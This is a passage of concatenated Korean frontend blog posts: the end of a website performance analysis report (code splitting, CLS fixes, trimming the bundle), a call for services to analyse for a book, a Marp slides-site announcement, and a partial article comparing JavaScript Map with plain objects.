청크 분리를 에 따른 또 다른 장점은 신규 배포 시에도 사용자에게 영향범위를 미치는 것을 최소화할 수 있다는 것입니다. 예를 들어 개발자님께서 아주 작은 코드 하나를 수정해서 배포했다고 가정해보겠습니다. 현재 구조는 하나의 청크에 모든 변경사항이 담겨져 있기 때문에 새로운 `index.js` 생성으로 이어질 것이고, 결국 사용자는 캐싱에 따른 이점을 누릴 수 없게 됩니다. `react` `react-dom` 과 같이 변경사항이 매우 적은 프레임워크성 라이브러리를 별도 청크로 분리하면 어떨까요? 이 청크는 CDN 에 한번 업로드 되어 버전업이 일어나지 않은 이상 캐시 전략을 계속 유지할 수 있고 이로 인해 새롭게 배포가 일어나도 페이지 로딩 속도는 여전히 빠르게 유지하실 수 있습니다.

과도한 코드 스플리팅은 여러 페이지가 있는 서비스에서는 독이 될 수 있지만, 현재 서비스 구조에서는 충분히 이점을 누리실 수 있을 것으로 보입니다.

## CLS 점수 향상

CLS는 웹 페이지의 시각적 안정성을 측정하는 핵심 지표입니다. 페이지가 로딩되는 동안 사용자에게 예상치 못하게 콘텐츠(요소)의 위치가 얼마나 많이 이동하는지를 정량화한 값입니다. 예를 들어, 글을 읽고 있는데 갑자기 이미지가 로드되면서 글자가 아래로 밀려나거나, 버튼을 누르려는데 버튼 위치가 갑자기 바뀌는 등의 현상이 CLS에 해당합니다. 낮은 CLS 점수는 안정적이고 좋은 사용자 경험을 의미합니다.

이 서비스에서 CLS 에 영향을 미치는 요소 역시 `/webp/part1/time.webp` 라는 것을 확인했습니다. 따라서 이 이미지와 관련된 내용을 수정하면 자연스럽게 CLS 점수도 향상 될 것입니다.

## 해결방안

### 프리로드 스캐너와 이미지 크기

이 문제의 해결방안 역시 LCP , 정확히는 프리로드 스캐너와 맞닿아있습니다. 앞서 프리로드 스캐너는 미리 이미지를 스캔한다고 말씀드렸는데요, 단순히 미리 이미지를 스캔하고 다운로드 하는 것이 아니라 미리 이미지의 사이즈도 알아둡니다. 현재 CLS 가 발생하는 이유는 이미지 다운로드도 늦는데, 이미지 크기 자체도 늦게 알아채게 되서 이미지를 다운로드 한 이후에 크기를 알게 되고, 그 이후에 그 이미지 크기 만큼 HTML 크기를 확보하면서 발생하게 됩니다. 이 점은 `<img>` 태그 내에 사이즈가 없어서 더욱 부각되는 문제점 입니다.

![image.png](./images/web-performance-analysis-1/image7.png)

하지만 프리로드 스캐너로 이미지를 미리 다운로드하고, 사이즈 까지 알아둔다면 어떨까요? `img` 에 `src` 로 해당 이미지를 넣는 순간, `img`가 DOM 에서 차지해야 할 크기를 미리 알게 되고, CLS 를 계산하기 위해 미리 이미지 다운로드 까지 기다리지 않아도 된다는 큰 장점이 생깁니다.

실제로, 프리로드 스캐너에 인식되기 위해 `<link>` 태그로 해당 이미지를 넣고 라이트하우스를 비교한다면, CLS 점수가 0 로 나오는 것을 볼 수 있습니다.

![image.png](./images/web-performance-analysis-1/image8.png)

![image.png](./images/web-performance-analysis-1/image9.png)

즉, 정리하자면 현재 CLS 0.272 는 `/webp/part1/time.webp` 의 크기를 분석하기 위해 다운로드하고 크기를 알아내기 위해 걸리는 시간이라고 보시면 됩니다. 따라서 CLS 해결을 하기 위해서는 다음 두 가지를 살펴보시면 됩니다.

- `img` 에 `width` `height` 또는 css 의 `aspect-ratio`를 넣어주세요. 이는 브라우저가 이미지 렌더링을 위한 DOM 크기를 미리 확보할 수 있게 해주어 CLS 를 줄일 수 있습니다.
- 프리로드 스캐너로 이미지를 미리 스캔할 수 있게 해준다면 이미지 크기를 미리 알수 있게 됩니다.

## 번들 크기를 줄이고 싶습니다.

자바스크립트 번들 크기는 웹 서비스 성능에 영향을 미치는 중요한 요소입니다. 다운로드, 파싱, 실행 등 에 종합적으로 영향을 미치기 때문에, 이 크기를 줄일 수록 성능을 드라마틱하게 개선할 수 있습니다. 현재 코드 상황이 어떤지 정확히 알 수 없어 명확하게 가이드 드릴 수는 없지만, 제가 지금까지 확인 한 바를 기준으로 말씀해드리겠습니다.

### 1. 사용량 대비 과하게 큰 라이브러리 내재화

`react-device-detect` 를 예로 먼저 들어보겠습니다. 정확히 얼마나 쓰는지 까지는 잘 모르겠지만, 소스 코드 상으로 보았을 때는 `isMobile` `isTablet` 정도 인 것으로 추정됩니다. 하지만 개인적인 생각으로는 이 두 값을 판단하기 위해서 `react-device-detect` 를 설치해서 쓰는 것은 너무 크다고 생각합니다.

[react-device-detect v2.2.3 ❘ Bundlephobia](https://bundlephobia.com/package/react-device-detect@2.2.3)

![image.png](./images/web-performance-analysis-1/image10.png)

![image.png](./images/web-performance-analysis-1/image11.png)

`react-device-detect` 와 그것이 의존하고 있는 `ua-paser-js` 는 다양한 UA 분석을 위해 많은 상수들을 내장하고 있는데요. 아마 대부분의 프로젝트가 이부분 까지 모두 사용하지는 않을 것으로 보입니다. 내부 코드가 실제로도 모바일, 태블릿 분기 용도 정도로만 사용하고 있다면 `react-device-detect`를 제거 하고 직접 내재화 해보시는건 어떠실지 추천해드립니다. 아마도 `styled-components` 연동 목적이었던 것 같은데, 그러한 목적이라면 브라우저에서 네이티브로 지원하는 미디어 쿼리를 쓰시는게 훨씬 낫습니다.

`react-device-detect` 외에도 시간과 여건이 허락한다면 npm 에서 설치하시는 것보다 직접 구현하시는 것을 더 추천해드립니다. 직접 구현해봄으로써 시간과 노력을 소비하고 안정성은 떨어질 수도 있지만, 직접 구현함으로써 기능의 본질적인 동작방식 이해하실 수 있고, 나아가 필요한 코드만 뽑아와서 성능과 번들크기를 최적화 하실 수 있습니다.

상하 캐러셀을 직접 구현하셨던 것으로 보이는데요. 위 작업을 통해 해당 기능을 직접 구현하시면서 배웠던 것을 다른 영역에서도 학습하실 수 있으리라 믿습니다.

### 2. react-router 제거

제가 파악한 바에 따르면 이 서비스는 단순히 하나 짜리 페이지로 보이는데요. 그렇다면 `react-router`를 사용하시는 이유를 잘 모르겠습니다. 아마 coverage 에서 나오는 대부분의 미사용 리소스가 다 여기에 잡혀있는 것으로 보입니다. 이 후에 서비스 확장성을 위해서라면 두셔도 되겠지만, 지금 구조상에서는 크게 필요하다는 것을 느끼기 어려웠습니다.

한가지 유의미하게 사용중인 기능이 있다면 `/*` 루트에 대해서 다 `/`로 리다이렉트 시키는 코드였습니다.

![image.png](./images/web-performance-analysis-1/image12.png)

이 기능은 `react-router` 로 위와 같이 처리할 수도 있지만, nginx, netlfiy, vercel 등 호스팅 서버에 규칙을 추가하여 서버단에서 처리하시는 것이 훨씬 더 효과적입니다. 이러한 history fallback 처리를 `react-router` 가 아닌 서버에서 처리하는 것을 검토해보시면 좋을 것 같습니다. 그렇게 함으로써 `react-router` 를 제거할 수 있고, js 번들의 크기를 줄이고 실행 속도를 향상시킬 수 있습니다.

추가로 더 살펴보니, amazon cloud front 에서 배포해서 사용중이신 것 같습니다. 정확히 기억은 안나지만, distributions > error pages 에서 업로드 되지 않은 리소스에 대해서 경로 지정을 할 수 있었던 것 같은데요. 이부분은 한번 설정 만지면서 수정해보시면 될 것 같습니다.

### 3. 코드 스플리팅

개발자님께서는 `React.lazy` 로 코드 스플리팅을 많이 해주셨다고 말씀해주셨습니다. 현재 필요한 코드 스플리팅은 위에서도 말씀드렸던 것 처럼 번들러 수준의 코드 스플리팅으로 보입니다. 둘 사이의 차이는 다음과 같습니다.

- **`vite`** 코드 스플리팅: 빌드 도구가 어떻게 코드를 나눌지 결정하고 실제로 파일을 분리하는 빌드 시점의 작업입니다.
- `React.lazy`: React 애플리케이션이 언제, 어떤 컴포넌트를 동적으로 로드할지 결정하는 런타임 메커니즘입니다.

지금 구조를 정확히 알수는 없지만, 아마도 `React.lazy` 가 조건부 로딩이 되기 보다는 그냥 직접 lazy 하게 로딩되어있는 형태로 되어 있는 것 같습니다.

앞서 설명 드렸던 것 처럼 `index-mSjck-Fi.js` 파일은 웹사이트를 작동시키는 데 필요한 거의 모든 JS 코드(리액트, 다른 라이브러리, 모든 페이지 섹션 및 기능 코드 등)를 하나로 합쳐놓은 거대한 단일 번들 파일 입니다. 브라우저는 웹사이트를 처음 로드할 때 이 커다란 파일 하나를 통째로 다운로드하고, 분석하고, 실행해야만 비로소 첫 화면을 보여줄 수 있습니다. 이 과정은 순차적으로 진행되며 시간이 오래 걸리기 때문에 초기 로딩 속도(FCP, LCP 등)가 느려지는 주요 원인이 됩니다. 코드 스플리팅을 수행한다면 다음과 같은 이점을 누릴 수 있습니다.

1. 초기 로딩 크기 감소: 사용자가 웹사이트에 처음 접속했을 때, 모든 코드를 한 번에 로드할 필요는 없습니다. 당장 첫 화면을 보여주는 데 필요한 최소한의 코드만 담긴 작은 초기 청크 파일만 먼저 로드합니다. 이렇게 하면 초기 다운로드 용량이 크게 줄어들고 자바스크립트 분석 및 실행 시간도 단축되어 사용자가 훨씬 빠르게 첫 화면을 볼 수 있게 됩니다.
2. 자바스크립트 번들의 병렬 다운로드 활용:
   - 최신 웹 브라우저는 일반적으로 여러 개의 파일을 동시에 다운로드할 수 있는 능력이 있습니다(HTTP/1.1에서는 도메인당 보통 6개, HTTP/2 이상에서는 더 많음).
   - 코드 스플리팅 이전: 브라우저는 커다란 `index-mSjck-Fi.js` 파일 **하나만** 다운로드합니다. 파일 크기가 크기 때문에 다운로드 시간이 길고, 브라우저의 병렬 다운로드 능력을 자바스크립트 로딩에는 제대로 활용하지 못합니다.
   - 코드 스플리팅 이후: 브라우저는 우선 작은 초기 청크 파일(들)을 빠르게 다운로드합니다. 그 후 사용자가 다른 페이지로 이동하거나 특정 기능(예: 모달 열기, 특정 섹션으로 스크롤)을 사용하려고 할 때, 필요한 코드 조각(청크)들만 추가로 요청하게 됩니다. 이때 브라우저는 여러 개의 작은 청크 파일들을 동시에 병렬로 다운로드할 수 있습니다.
   - 여러 파일을 동시에 다운로드하면, 하나의 큰 파일을 순차적으로 다운로드하는 것보다 전체 다운로드 시간을 크게 단축시킬 수 있습니다. 네트워크 대역폭을 훨씬 효율적으로 사용하게 되는 것입니다. 이는 초기 로딩뿐만 아니라, 웹사이트를 사용하는 도중에 필요한 코드를 불러올 때도 더 빠르고 부드러운 사용자 경험을 제공합니다.

현재 프로젝트는 큰 단일 자바스크립트 번들로 인해 브라우저의 병렬 다운로드 이점을 제대로 활용하지 못하고 초기 로딩이 느려지는 문제를 겪고 있을 가능성이 높습니다. 코드 스플리팅을 적용하면 초기 로딩에 필요한 코드 양을 줄일 뿐만 아니라, 필요한 청크들을 병렬로 효율적으로 다운로드할 수 있게 되어 LCP를 포함한 전반적인 웹사이트 성능을 크게 향상시킬 수 있습니다. 따라서 코드 스플리팅은 이 프로젝트에 꼭 필요한 최적화 작업으로 보입니다.

# 5. 그 외 조언

## 소스맵 활용

현재 분석한 코드는 압축되어 있어 디버깅이나 성능 프로파일링이 매우 어렵습니다. 물론 사용자가 직접 사용하는 리얼 환경 에서는 소스맵을 공개하지 않는 것이 원칙입니다. 다만 개발/스테이지 환경이 있다면 소스맵을 업로드 하여 원본 코드 기준으로 문제를 파악하고 성능 병목 지점을 더 쉽게 찾을 수 있도록 환경을 구성하는 것이 좋습니다.

## 모바일 우선

분석 리포트에도 모바일 환경에 대한 고려가 있었지만, 실제 성능 테스트와 최적화 과정에서 모바일 환경을 우선적으로 점검하는 것이 중요합니다. 데스크톱보다 네트워크나 기기 성능 제약이 크기 때문에 병목 현상이 더 두드러지게 나타날 수 있습니다. 성능분석은 매우 힘들고 시간이 많이 드는 작업이므로, 모바일을 우선해서 성능 개선을 검토해보시는 것을 추천해드립니다.

## 지속적인 모니터링

일회성 개선에 그치지 않고, 지속적으로 웹사이트 성능을 측정할 수 있는 체계를 구축하는 것이 좋습니다.

[Lighthouse CI Action - GitHub Marketplace](https://github.com/marketplace/actions/lighthouse-ci-action)

[https://github.com/NaverPayDev/size-action](https://github.com/NaverPayDev/size-action)

[Bundle size diff - GitHub Marketplace](https://github.com/marketplace/actions/bundle-size-diff)

[](https://www.webpagetest.org/)

위 도구들은 제가 한번 쯤 혹은 프로젝트에서 꾸준히 사용한 도구 입니다. 특히 깃헙액션 쪽을 사용하신다면, 매번 내 PR 이 실제 프로덕션에 어느정도로 영향을 미치지는지 지속적으로 확인할 수 있어 매우 유용합니다.

위와 같은 도구를 활용하시어 꾸준히 성능 개선 내역을 측정해주시면 좋습니다.

# 6. 마치며

이번에 `https://example.com` 웹사이트의 성능을 살펴볼 기회를 갖게 되어 감사드립니다. 분석 결과, 초기 로딩 속도(LCP)와 화면 안정성(CLS) 측면에서 사용자 경험을 더욱 향상시킬 수 있는 몇 가지 지점들을 발견할 수 있었습니다.

특히 초기 자바스크립트 로딩 방식과 LCP 이미지 처리 방식을 최적화하는 것이 긍정적인 영향을 줄 수 있을 것으로 생각됩니다. 본 리포트에서 제안 드린 LCP 이미지 Preload 적용, 명시적인 이미지 크기 설정, 그리고 자바스크립트 코드 스플리팅 과 같은 방법들을 고려해 보시면 서비스 개선에 도움이 될 수 있을 것입니다.

제가 성능 분석 작업을 본격적으로 진행해 보는 것은 처음이라 분석 내용에 다소 미흡하거나 부족한 점이 있을 수 있습니다. 조악한 글이라도 모쪼록 너른 양해 부탁드리며, 리포트 내용 중 추가적으로 궁금하신 점이나 논의가 필요한 부분이 있다면 언제든지 편하게 말씀해주시면 감사하겠습니다.

아무쪼록 본 분석 자료가 웹사이트 성능을 개선하고 발전시키는 데 조금이나마 기여할 수 있기를 바랍니다.

---

Source: https://yceffort.kr/2025/04/web-performance-help.md
Title: 웹사이트 성능에 고민이 있는 서비스를 찾습니다.
Description: 🤔
Date: 2025-04-26
Tags: web-performance, frontend, react

안녕하세요.

현재 **웹사이트 성능 개선**을 주제로 책을 집필 중입니다. 단순한 이론보다, 실제 서비스 사례를 통해 더 실질적인 도움을 주고 싶다는 생각에서 이 글을 남깁니다.

그래서 지금, **프론트엔드 성능에 어려움을 겪고 있는 웹서비스**를 찾고 있습니다. 실제 문제를 함께 분석하고, 개선 방향을 정리해보려 합니다.

## 이런 경우라면 꼭 연락 주세요

- React, Next.js, Vue 등 **모던 프론트엔드 프레임워크** 기반의 서비스
- Lighthouse, PageSpeed Insights 등에서 **성능 점수가 낮게 나오는 경우**
- 이미지, CSS/JS 파일 최적화, 코드 스플리팅, Lazy Loading 등을 **도입하고 싶지만 막막한 경우**
- 뚜렷한 원인은 없지만 **"뭔가 느리다"는 피드백**을 받고 있는 경우

프론트엔드 성능 문제는 다양한 요인이 복합적으로 작용합니다. 혼자 고민하다 보면 어디서부터 손대야 할지 막막할 수 있습니다. 그 출발점을 함께 찾아드릴 수 있다면 좋겠습니다.

## 제가 누구냐면요

현재 네이버 파이낸셜에서 프론트엔드 엔지니어로 일하고 있으며, 리액트, Nextjs 기반 여러 웹서비스를 개발하고 운영 중입니다. 또한 모노레포를 기반으로 한 다양한 자바스크립트 라이브러리를 배포하고 관리하고 있으며, cli, eslint plugin 등 다양한 자바스크립트 영역에서 많은 경험을 쌓아왔습니다.

회사 업무 외로는 [『모던 리액트 Deep Dive』](https://wikibook.co.kr/react-deep-dive/) 와 [『npm Deep Dive』](https://wikibook.co.kr/npm-deep-dive/) 를 집필했으며, [『리액트 인터뷰 가이드』](https://wikibook.co.kr/react-interview-guide/) 도 번역하여 옮겼습니다.

그리고 지금 보시는 개인 블로그 [yceffort.kr](https://yceffort.kr)을 통해 성능 실험과 개발 노트를 기록하고 있으며, 블로그도 직접 개발해 운영하고 있습니다.

👉 [자세한 이력서 보기](https://yceffort.notion.site/9fc4262c01744a63a849cdccdde5c85f)

## 진행 방식

관심 있으시다면 아래 내용을 포함하여 **[메일](root@yceffort.kr)** 로 보내주세요:

- 분석 요청하실 서비스 주소
- 서비스에 대한 간단한 소개
- 느끼시는 성능 관련 문제나 궁금한 점
- (가능하다면) GitHub 저장소 또는 코드 공유 여부

📮 **연락처: [root@yceffort.kr](root@yceffort.kr)**

선정된 서비스에 한해 개별적으로 연락드리며, 분석은 최대 한 달 이내에 진행해 Notion 문서 형태로 결과를 전달드립니다.

## 분석 결과는 이렇게 공유됩니다

결과는 블로그에 바로 공개되지 않고, 먼저 **비공개 Notion 문서**로 정리해드립니다.

> 아래는 실제 작업 결과물 입니다.

![image](./images/web-performance-notion.png)

문서는 링크를 아는 분만 열람할 수 있으며, 최종적으로 피드백을 받고 블로그 또는 책에 소개될 예정입니다.

**본인이 원치 않으시다면 서비스명이나 민감한 정보는 외부에 절대 노출되지 않습니다.**

## 참고

이 분석 내용은 궁극적으로 일부 책에 실릴 예정이며, 책이라는 결과물은 **영리 활동**이 맞습니다. 하지만 이 분석 과정은 **무상으로 제공되며**, 어떤 비용도 받지 않습니다. 기술적 성장을 함께 나누고, 서로 배울 수 있는 기회가 되었으면 합니다.

## 지금까지의 분석 사례가 궁금하시다면

[웹 성능 분석 기록 보러가기](/tags/web-performance-analysis/)

---

Source: https://yceffort.kr/2025/03/research.md
Title: https://research.yceffort.kr/ 를 오픈했습니다
Description: 게을러터져서 이제 만든
Date: 2025-03-26
Tags: nextjs, web-performance

회사 동료가 [Marp](https://marp.app/)를 이용해 마크다운 파일로 발표 자료를 만드는 걸 보고, 언젠가 나도 내 블로그에서 비슷하게 만들어 보고 싶다는 생각을 했었다. 회사 발표 자료 준비에 꽤 많은 시간을 투자하고, Keynote로도 여러 자료를 만들어봤지만, 파일 관리가 쉽지 않고 어디서든 빠르게 꺼내 보여주기 어려운 한계가 있었다. 반면 Marp는 빠르게 작성할 수 있고, 웹 형태로 렌더링할 수 있어 어디서나 손쉽게 보여줄 수 있다는 장점이 있어, 언젠간 꼭 시도해보고 싶었다.

그러다 시간이 흘러 책을 집필하고 번역하느라 바쁜 나날을 보내고, 회사에선 공부나 개발할 시간을 충분히 내기 어려워 괴로워하던 차에 문득 Marp가 다시 떠올랐다. 그리고 지금이 아니면 다시는 못만들겠다는 생각에 본격적으로 작업하기 시작했고, 마침내 완성했다.

- https://github.com/yceffort/research
- https://research.yceffort.kr/

전체적인 웹사이트 구조와 디자인은 기존 블로그와 거의 동일하게 만들었다(이럴 줄 알았으면 모노레포로 구성할 걸 그랬다 조만간 모노레포로 부시고 다시 만들 수도). 다른 점이 있다면 [generateStaticParams](https://nextjs.org/docs/app/api-reference/functions/generate-static-params)를 활용해 정적인 Marp 페이지를 렌더링한다는 것이다. 이미 Marp 안에서 다양한 플러그인을 지원하고 있어, 큰 어려움 없이 빠르게 구축할 수 있었다.

아직 얼기설기 만들어서 보완할 부분이 많지만, 일단 출시한 뒤에 시간이 날 때 조금씩 개선해 나가려 한다. 블로그 글로 쓰기엔 조금 애매하거나 귀찮은 이야기, 혹은 발표나 소개용 자료, 또는 잘 정리해서 보관하고 싶은 자료들은 모두 이 사이트에서 Marp 형태로 만들어둘 계획이다.

오픈 기념으로 곧 출간될 책 내용과 연계된 자료 세개 공개..!

- https://research.yceffort.kr/slides/best-practice-for-package-1
- https://research.yceffort.kr/slides/best-practice-for-package-2
- https://research.yceffort.kr/slides/best-practice-for-package-3

😉

---

Source: https://yceffort.kr/2025/03/map-vs-object.md
Title: 맵과 객체 중 무엇을 언제 쓰는 것이 좋을까?
Description: Map 도 씁시다
Date: 2025-03-22
Tags: javascript

## Table of Contents

## 개요

[Map](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Map)은 ES6에서 부터 추가된 새로운 데이터 타입입니다. Map은 키와 값의 쌍을 저장하며, 키는 유일해야 한다는 특징을 지니고 있습니다. 얼핏 보면 객체와 비슷해보이지만, 용도와 특징에 맞게 잘활용한다면 때로는 객체보다 더 좋은 선택이 될 수도 있습니다. 그러나 대부분 자바스크립트 프로젝트를 진행하고 나면, 의식적으로 Map 을 사용하는 일은 드뭅니다. 이 글에서는 Map과 객체의 차이점과 어떤 상황에서 어떤 것을 사용하는 것이 좋을지 알아보겠습니다.

## 객체

객체는 자바스크립트 생태계에서 가장 널리 쓰이는 데이터 타입으로, 객체는 키와 값의 쌍을 저장하는 자료구조입니다. 원시값이 아닌 모든 값은 객체이며, 대부분의 자바스크립트 값 (배열 ,함수) 등도 내부적으로 객체를 상속받는 구조로 되어 있는, 자바스크립트 프로그래밍에서 가장 중요한 개념입니다. 주요 특징은 다음과 같습니다.

- 프로퍼티를 동적으로 추가하거나 삭제할 수 있습니다.
- 키로는 오직 문자열과 심볼만 가능합니다.
- 순서가 보장되지 않으며, 기본적으로 이터러블(iterable)이 아닙니다.
- 내부적으로 `Object.prototype`을 상속받기 때문에, `toString`, `hasOwnProperty` 같은 메서드를 사용할 수 있습니다.

```javascript
// 1. 객체 생성
const person = {
  name: 'Alice',
  age: 25,
}

// 2. 프로퍼티 추가
person.city = 'Seoul'

// 3. 프로퍼티 수정
person.age = 26

// 4. 프로퍼티 삭제
delete person.city

// 5. 프로퍼티 접근
console.log(person.name) // 'Alice'
console.log(person['age']) // 26

// 6. 순회(기본적으로는 for...in 또는 Object.keys 등을 사용)
for (const key in person) {
  // 주의: 프로토타입 체인에 있는 것도 나올 수 있으므로 hasOwnProperty 등을 확인
  if (person.hasOwnProperty(key)) {
    console.log(key, person[key])
  }
}

// 결과 예시:
// name 'Alice'
// age 26
```

## Map

Map 역시 키와 값의 쌍을 저장하는 자료구조입니다. 객체와 비슷해보이지만, 다음과 같은 차이점이 있습니다.

- 객체와 다르게 키 타입에 제한이 없고, 어떤 자료형(문자열, 숫자, 객체, 함수 등)이든 키로 사용할 수 있습니다.
- 키-값 쌍을 **추가(set)** 하거나 **삭제(delete)** 할 수 있고, 한 번에 모두 **제거(clear)** 할 수도 있습니다.
- 삽입 순서가 보장되며, 이터러블한 자료구조입니다. 따라서 for...of나 전개 연산자 등을 사용해 손쉽게 순회할 수 있습니다, size 프로퍼티로 원소 수를 바로 확인할 수 있습니다.
- 내부적으로 해시 구조를 사용해, 대규모 데이터에서도 빠른 키 조회/추가/삭제를 지원하도록 설계되었습니다.

```js
// 1. Map 생성
const map = new Map()

// 2. 다양한 타입의 키 사용
const objKey = {id: 1}
const funcKey = function () {}

map.set('name', 'Alice') // 문자열 키
map.set(123, 'Number Key') // 숫자 키
map.set(objKey, 'Object Key')
map.set(funcKey, 'Function Key')

// 3. 값 조회
console.log(map.get('name')) // 'Alice'
console.log(map.get(123)) // 'Number Key'
console.log(map.get(objKey)) // 'Object Key'

// 4. 삭제
map.delete(123)
console.log(map.has(123)) // false

// 5. 전체 삭제
// map.clear(); // 모든 키-값 삭제

// 6. 반복/순회
for (const [key, value] of map) {
  console.log(key, value)
}
// 삽입 순서대로 출력됨
// 'name' 'Alice'
// { id: 1 } 'Object Key'
// [Function: funcKey] 'Function Key'

// 7. 사이즈 확인
console.log(map.size) // 3
```

## 기본적인 차이를 표로 비교

| 구분                   | **Object**                                                                                                                         | **Map**                                                                                     |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| **키 타입**            | 문자열(String), 심볼(Symbol)만 가능<br/>(숫자, 객체 등을 키로 사용하면 내부적으로 문자열 변환)                                     | 모든 타입 가능<br/>(문자열, 숫자, 객체, 함수 등 어떤 자료형도 키로 사용 가능)               |
| **이터러블 여부**      | 기본적으로 이터러블하지 않음<br/>`for...in`은 사용 가능하나, 프로토타입 체인까지 순회될 수 있음                                    | 기본적으로 **이터러블**<br/>`for...of`로 손쉽게 순회 가능                                   |
| **순서 보장**          | 프로퍼티 순서가 보장되지 않거나, 숫자 문자열 키가 우선 정렬되는 등<br/>브라우저마다 일부 일관성이 있긴 하지만 완전히 보장되진 않음 | 삽입된 순서를 그대로 유지                                                                   |
| **크기 확인 (size)**   | 전용 프로퍼티 없음<br/>`Object.keys(obj).length` 등 별도 방법으로 O(n)에 구해야 함                                                 | `map.size` 프로퍼티로 O(1)에 확인 가능                                                      |
| **프로토타입 상속**    | `Object.prototype` 내장 메서드(`toString`, `hasOwnProperty` 등)를 상속받아 사용<br/>사용자 정의 프로퍼티와 충돌 가능성 존재        | `Map` 자체 메서드 집합만 사용<br/>사용자 정의 키와 충돌 위험 적음                           |
| **프로퍼티 추가·삭제** | 점(`.`) 또는 대괄호(`[]`) 표기법으로 추가·삭제 가능<br/>전체 삭제 시 별도의 반복문이나 여러 번 `delete` 호출 필요                  | `map.set(key, value)`, `map.delete(key)`, `map.clear()`로 간편히 관리 가능                  |
| **주요 사용 예**       | - 고정된 구조의 **레코드(Record)**<br/>- 프로퍼티가 많지 않은 간단한 데이터<br/>- Config, Options 등                               | - **동적으로 키가 자주 바뀌는 해시맵**<br/>- 대규모 데이터에서 빠른 조회·삭제가 필요한 경우 |

## 해시 맵

두 데이터 타입중 어떤 것이 더 적절한지를 알기 위해선, 먼저 해시맵 데이터 타입에 대해서 알아야 합니다.

### 해시 맵의 정의

해시 맵은 키와 값을 한 쌍에 저장하는 데이터 구조로, '해싱' 이라는 기법을 사용하여 빠르게 데이터 검색, 삭제, 삽입을 가능하게 합니다. 이 기법을 사용하면, 평균적으로 O(1)의 시간 복잡도로 원하는 데이터를 조회할 수 있습니다. 해시 맵은 다음과 같은 방식으로 동작합니다.

1. 해시 함수: 키를 받으면, 그 키를 특정 숫자로 매핑해주는 함수를 일컫습니다.
2. 해시 값을 기반으로 인덱스 결정: 1에서 받은 키를 바탕으로 인덱스를 구합니다.
3. 충돌 해결: 2에서 구한 키가 겹치는 경우가 있는데, 이를 충돌이라고 합니다. 이 충돌을 해결하는 방법으로는 크게 두가지가 있습니다.
   1. 체이닝: 같은 인덱스에 링크드 리스트를 만들어 키-값을 쌍으로 보관
   2. 오픈 어드레싱: 충돌이 발생하면 다른 빈 공간을 찾아서 삽입
4. 검색, 삽입, 삭제: 키에 대해 해시 함수를 적용하여 인덱스를 찾고, 저장한 값에 바로 접근

해시 맵은 다음과 같은 장점을 지닙니다.

- 빠른 검색, 삽입, 삭제: 해시 함수를 통해 O(1)의 시간 복잡도로 데이터를 관리할 수 있습니다.
- 다양한 타입의 키 사용 가능: 문자열, 숫자, 객체, 함수 등 어떤 자료형도 키로 사용 가능합니다.

반면에 다음과 같은 단점도 존재합니다.

- 해시 함수가 적절하지 않거나 충돌이 많아지면 O(n) 까지도 성능이 떨어질 수 있습니다.
- 해시 함수를 계산하는데 오버헤드가 존재합니다.

그러나 일반적으로 자바스크립트의 경우, 해시 함수를 직접 구현할 일이 거의 없습니다. 이미 v8 엔진 등 내부 엔진에서 해시 알고리즘을 자체적으로 구현하여 사용자에게 제공하고 있기 때문입니다.

### 해시 맵이 필요한 경우

해시 맵은 다음과 같은 상황에서 유용하게 사용될 수 있습니다.

- 대용량 데이터에서 빠르게 삽입, 삭제가 필요한 경우
- 키 값 쌍을 관리해야 하는데, 키의 수가 동적으로 계속해서 변하는 경우
- 중복 여부를 효율적으로 확인해야 하는 경우
- 빈번하게 키에 접근해야 하는 경우
- 키를 보다 안전하게 저장하고 싶은 경우

## 해시 맵으로 객체가 부적절한 이유

해시 맵은 프로그래머에게 꼭 필요한 기능이지만, 자바스크립트 생태계에서 객체를 해시맵으로 쓰기에는 다음과 같은 한계가 존재합니다.

### 제한된 키

객체는 키로 문자열과 심볼만 사용할 수 있습니다. 만약 객체를 해시맵으로 사용하려면, 키로 문자열이나 심볼만 사용해야 합니다. 그러나 해시맵은 어떤 자료형이든 키로 사용할 수 있어야 합니다. 그러나 객체에서는 문자열과 심볼 외에 다른 자료 형이 오는 경우, 내부적으로 `toString()`을 호출하여 문자열로 변환을 해버립니다.

```js
const foo = []
const bar = {}
const obj = {[foo]: 'foo', [bar]: 'bar'}

console.log(obj)
// 결과: {"": 'foo', "[object Object]": 'bar'}
```

### 상속

해시맵 사용을 위해 객체를 사용한다고 가정해봅시다.

```js
const hashMap = {}
```

이 해시맵 (객체) 는 정말로 아무것도 없는 빈 상태일까요? 그렇지 않습니다. 이미 객체라는 사실 때문에 `Object.prototype`에서 상속 받은 각종 메서드를 지닌 상태로 시작합니다.

```js
// 객체 생성
const hashMap = {}
// 내부적으로 상속받은 객체 존재
console.log(Object.getPrototypeOf(hashMap))
// hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toLocaleString, toString, valueOf....
console.log('toString' in hashMap) // true
```

이는 자바스크립트의 특징인 프로토타입 상속으로 인해 발생하는 현상으로, 객체 자신의 프로퍼티와 체인을 통해 상속된 프로퍼티가 뒤섞이게 됩니다. 이 때문에 사요앚가 만든 프로퍼티와, 상속된 프로퍼티를 구분하려면 [hasOwnProperty](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) 메서드를 사용해서 반드시 확인해야 합니다.

뿐만 아니라, 섣부르게 `Object.prototype`을 수정하면, 모든 객체에 영향을 미치게 되므로 프로토타입 오염 공격을 맞닥드릴 수 도 있으며, 원치 않는 부작용이 발생할 수 있습니다.

### 이름 충돌

객체를 해시맵으로 사용할 때, 키로 사용하는 문자열이 중복되는 경우가 발생할 수 있습니다. 이는 객체의 프로퍼티 이름이 중복되는 경우, 마지막에 선언된 프로퍼티가 이전 프로퍼티를 덮어쓰게 됩니다. 이는 객체의 프로퍼티 이름이 중복되는 경우, 마지막에 선언된 프로퍼티가 이전 프로퍼티를 덮어쓰게 됩니다.

예를 들어 다음과 같은 코드가 있다고 가정해봅시다.

```js
function foo(obj) {
  // 만약 obj가 { hasOwnProperty: 'foo' } 라면?
  for (const key in obj) {
    // ???????
    if (obj.hasOwnProperty(key)) {
    }
  }
}
```

위 코드는 객체를 인수로 받아, 객체의 프로퍼티를 순회하는 함수입니다. 그러나 만약 객체의 프로퍼티 이름이 말그대로 `hasOwnProperty` 가 있는 경우, 이 함수는 제대로 동작하지 않습니다. 이는 `hasOwnProperty`가 `Object.prototype`에 있는 메서드이기 때문에, 객체의 프로퍼티로 사용되면서 함수가 제대로 동작하지 않게 됩니다.

